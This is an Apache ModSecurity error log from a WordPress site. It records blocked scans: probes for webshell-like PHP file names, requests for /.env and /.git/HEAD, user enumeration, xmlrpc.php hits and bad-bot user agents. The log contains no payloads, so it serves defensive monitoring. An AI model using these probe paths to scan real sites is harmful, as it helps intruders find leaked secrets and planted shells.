[Wed May 13 10:47:24.253105 2026] [:error] [pid 23887:tid 23907] [client 20.48.166.247:22124] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Noname6.php"] [unique_id "agPmPNSKmvZJZkXBFDBHhwAAAMw"]
[Wed May 13 10:47:24.896579 2026] [:error] [pid 3259:tid 3281] [client 20.48.166.247:22263] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tia.php"] [unique_id "agPmPOWJB4YwcPVLeArGOQAAARQ"]
[Wed May 13 10:47:25.350352 2026] [:error] [pid 3259:tid 3261] [client 20.48.166.247:21954] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tia.php"] [unique_id "agPmPeWJB4YwcPVLeArGOwAAAQA"]
[Wed May 13 10:47:25.885653 2026] [:error] [pid 23782:tid 23842] [client 20.48.166.247:21913] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tia.php"] [unique_id "agPmPSBrKFYHXUGnR-qfcQAAAFU"]
[Wed May 13 10:47:26.470324 2026] [:error] [pid 23782:tid 23825] [client 20.48.166.247:22092] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tia.php"] [unique_id "agPmPiBrKFYHXUGnR-qfcgAAAEQ"]
[Wed May 13 10:47:26.948142 2026] [:error] [pid 23782:tid 23822] [client 20.48.166.247:21953] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/coa.php"] [unique_id "agPmPiBrKFYHXUGnR-qfdAAAAEE"]
[Wed May 13 10:47:27.406293 2026] [:error] [pid 23782:tid 23829] [client 20.48.166.247:21979] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/coa.php"] [unique_id "agPmPyBrKFYHXUGnR-qfdQAAAEg"]
[Wed May 13 10:47:27.941499 2026] [:error] [pid 23780:tid 23797] [client 20.48.166.247:22103] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/coa.php"] [unique_id "agPmP3XgOibPjrXgeTBeggAAAAM"]
[Wed May 13 10:47:28.388250 2026] [:error] [pid 23887:tid 23910] [client 20.48.166.247:22079] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/coa.php"] [unique_id "agPmQNSKmvZJZkXBFDBHiAAAAM8"]
[Wed May 13 10:47:28.974653 2026] [:error] [pid 23887:tid 23903] [client 20.48.166.247:22054] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dr.php"] [unique_id "agPmQNSKmvZJZkXBFDBHiwAAAMg"]
[Wed May 13 10:47:29.451095 2026] [:error] [pid 23782:tid 23827] [client 20.48.166.247:22000] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dr.php"] [unique_id "agPmQSBrKFYHXUGnR-qfdwAAAEY"]
[Wed May 13 10:47:29.962789 2026] [:error] [pid 23887:tid 23914] [client 20.48.166.247:22067] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dr.php"] [unique_id "agPmQdSKmvZJZkXBFDBHjAAAANM"]
[Wed May 13 10:47:30.414024 2026] [:error] [pid 23787:tid 23866] [client 20.48.166.247:22348] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dr.php"] [unique_id "agPmQh1cs5wE7VT6wirP_QAAAJI"]
[Wed May 13 10:47:30.956910 2026] [:error] [pid 23780:tid 23804] [client 20.48.166.247:22399] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/let.php"] [unique_id "agPmQnXgOibPjrXgeTBegwAAAAo"]
[Wed May 13 10:47:31.439134 2026] [:error] [pid 23780:tid 23810] [client 20.48.166.247:22042] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/let.php"] [unique_id "agPmQ3XgOibPjrXgeTBehAAAABA"]
[Wed May 13 10:47:31.888049 2026] [:error] [pid 23780:tid 23802] [client 20.48.166.247:21955] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/let.php"] [unique_id "agPmQ3XgOibPjrXgeTBehQAAAAg"]
[Wed May 13 10:47:32.453102 2026] [:error] [pid 23780:tid 23816] [client 20.48.166.247:22292] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/let.php"] [unique_id "agPmRHXgOibPjrXgeTBehgAAABY"]
[Wed May 13 10:47:32.930614 2026] [:error] [pid 23787:tid 23850] [client 20.48.166.247:22291] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w12.php"] [unique_id "agPmRB1cs5wE7VT6wirQAQAAAII"]
[Wed May 13 10:47:33.362344 2026] [:error] [pid 3259:tid 3278] [client 20.48.166.247:22384] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w12.php"] [unique_id "agPmReWJB4YwcPVLeArGRwAAARE"]
[Wed May 13 10:47:33.821031 2026] [:error] [pid 3259:tid 3279] [client 20.48.166.247:22028] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w12.php"] [unique_id "agPmReWJB4YwcPVLeArGSgAAARI"]
[Wed May 13 10:47:34.275933 2026] [:error] [pid 23782:tid 23840] [client 20.48.166.247:22380] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w12.php"] [unique_id "agPmRiBrKFYHXUGnR-qfegAAAFM"]
[Wed May 13 10:47:34.871432 2026] [:error] [pid 3259:tid 3264] [client 20.48.166.247:21986] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chati.php"] [unique_id "agPmRuWJB4YwcPVLeArGTAAAAQM"]
[Wed May 13 10:47:35.313876 2026] [:error] [pid 3259:tid 3267] [client 20.48.166.247:22071] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chati.php"] [unique_id "agPmR-WJB4YwcPVLeArGTQAAAQY"]
[Wed May 13 10:47:35.838090 2026] [:error] [pid 23887:tid 23899] [client 20.48.166.247:22274] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chati.php"] [unique_id "agPmR9SKmvZJZkXBFDBHkQAAAMQ"]
[Wed May 13 10:47:36.315517 2026] [:error] [pid 23887:tid 23915] [client 20.48.166.247:22299] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chati.php"] [unique_id "agPmSNSKmvZJZkXBFDBHkwAAANQ"]
[Wed May 13 11:43:05.014142 2026] [:error] [pid 23782:tid 23837] [client 65.111.15.108:51943] [client 65.111.15.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/HEAD"] [unique_id "agPzSSBrKFYHXUGnR-qougAAAFA"]
[Wed May 13 11:59:05.059720 2026] [:error] [pid 23782:tid 23841] [client 43.157.179.227:54268] [client 43.157.179.227] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agP3CSBrKFYHXUGnR-qtbQAAAFQ"]
[Wed May 13 12:21:15.672316 2026] [:error] [pid 23780:tid 23805] [client 49.51.52.250:41542] [client 49.51.52.250] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agP8O3XgOibPjrXgeTBxCgAAAAs"]
[Wed May 13 12:58:25.919761 2026] [:error] [pid 27332:tid 27345] [client 162.14.66.219:57946] [client 162.14.66.219] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agQE8Y6Y5F_V9bmyC4aDUwAAAUs"]
[Wed May 13 13:30:43.124324 2026] [autoindex:error] [pid 27332:tid 27353] [client 95.111.235.131:64965] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed May 13 14:22:44.632541 2026] [:error] [pid 23887:tid 23910] [client 110.226.224.180:3246] [client 110.226.224.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.226.224.180, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agQYtNSKmvZJZkXBFDCJegAAAM8"]
[Wed May 13 14:22:55.017223 2026] [:error] [pid 3259:tid 3271] [client 110.226.224.180:1521] [client 110.226.224.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.226.224.180, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agQYv-WJB4YwcPVLeAoKMQAAAQo"]
[Wed May 13 14:23:05.546172 2026] [:error] [pid 3259:tid 3265] [client 110.226.224.180:10353] [client 110.226.224.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.226.224.180, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agQYyeWJB4YwcPVLeAoKOQAAAQQ"]
[Wed May 13 14:23:16.002697 2026] [:error] [pid 27332:tid 27341] [client 110.226.224.180:1518] [client 110.226.224.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.226.224.180, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agQY1I6Y5F_V9bmyC4ajTgAAAUc"]
[Wed May 13 14:23:26.097193 2026] [:error] [pid 27332:tid 27339] [client 110.226.224.180:11502] [client 110.226.224.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.226.224.180, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agQY3o6Y5F_V9bmyC4ajVgAAAUU"]
[Wed May 13 14:23:36.656898 2026] [:error] [pid 23780:tid 23798] [client 110.226.224.180:25979] [client 110.226.224.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.226.224.180, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agQY6HXgOibPjrXgeTB8rQAAAAQ"]
[Wed May 13 16:18:39.976678 2026] [:error] [pid 23787:tid 23863] [client 124.156.226.179:41296] [client 124.156.226.179] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agQz3x1cs5wE7VT6wioUgAAAAI8"]
[Wed May 13 19:04:12.655061 2026] [:error] [pid 55679:tid 55703] [client 103.68.70.15:58562] [client 103.68.70.15] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agRarKvvigowSOGkp44YpgAAAhY"]
[Wed May 13 19:37:23.797786 2026] [:error] [pid 55644:tid 55656] [client 101.33.81.73:59294] [client 101.33.81.73] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agRicyL_V0N1iPYYj0-scAAAAco"]
[Wed May 13 21:30:01.457510 2026] [:error] [pid 12426:tid 12452] [client 185.198.240.55:32461] [client 185.198.240.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "agR82bPw24RslX3LIcYkXQAAANg"]
[Wed May 13 23:41:11.052077 2026] [:error] [pid 12340:tid 12418] [client 43.159.128.155:49012] [client 43.159.128.155] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agSbl8rxSPfvmN7BQjKLfAAAAJY"]
[Wed May 13 23:43:39.332866 2026] [:error] [pid 12340:tid 12397] [client 94.57.98.168:62854] [client 94.57.98.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.57.98.168, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agScK8rxSPfvmN7BQjKMBwAAAIE"]
[Wed May 13 23:43:47.922336 2026] [:error] [pid 12426:tid 12448] [client 94.57.98.168:63443] [client 94.57.98.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.57.98.168, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agScM7Pw24RslX3LIcZRDQAAANQ"]
[Wed May 13 23:43:58.120427 2026] [:error] [pid 12340:tid 12401] [client 94.57.98.168:64045] [client 94.57.98.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.57.98.168, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agScPsrxSPfvmN7BQjKMIwAAAIU"]
[Wed May 13 23:44:08.530057 2026] [:error] [pid 12340:tid 12412] [client 94.57.98.168:64372] [client 94.57.98.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.57.98.168, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agScSMrxSPfvmN7BQjKMNwAAAJA"]
[Wed May 13 23:44:18.769363 2026] [:error] [pid 12337:tid 12353] [client 94.57.98.168:59781] [client 94.57.98.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.57.98.168, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agScUg9W0E4_X4qzYUFzSQAAAAs"]
[Wed May 13 23:55:37.332228 2026] [:error] [pid 17873:tid 17882] [client 147.135.213.153:43554] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "agSe-fEqBQQrkyEyu_oSrQAAAQc"]
[Wed May 13 23:55:41.157115 2026] [:error] [pid 12338:tid 12382] [client 147.135.213.153:43566] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "agSe_cUJ87l42ffPr4wfzQAAAE0"]
[Thu May 14 00:02:26.464686 2026] [:error] [pid 17873:tid 17887] [client 160.30.179.130:48950] [client 160.30.179.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "agSgkvEqBQQrkyEyu_oT4wAAAQw"]
[Thu May 14 01:46:00.518438 2026] [:error] [pid 12426:tid 12450] [client 157.15.40.76:51444] [client 157.15.40.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "agS42LPw24RslX3LIcZofQAAANY"]
[Thu May 14 01:46:04.950419 2026] [:error] [pid 12340:tid 12403] [client 157.15.40.76:51516] [client 157.15.40.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/txets.php"] [unique_id "agS43MrxSPfvmN7BQjK3EgAAAIc"]
[Thu May 14 01:46:08.205628 2026] [:error] [pid 17873:tid 17893] [client 157.15.40.76:51898] [client 157.15.40.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/txets.php"] [unique_id "agS44PEqBQQrkyEyu_ouUQAAARI"]
[Thu May 14 01:46:09.754352 2026] [:error] [pid 12338:tid 12391] [client 157.15.40.76:51913] [client 157.15.40.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "agS44cUJ87l42ffPr4wvsAAAAFY"]
[Thu May 14 01:46:12.157323 2026] [:error] [pid 12337:tid 12352] [client 157.15.40.76:52199] [client 157.15.40.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/schallfuns.php"] [unique_id "agS45A9W0E4_X4qzYUGCwgAAAAo"]
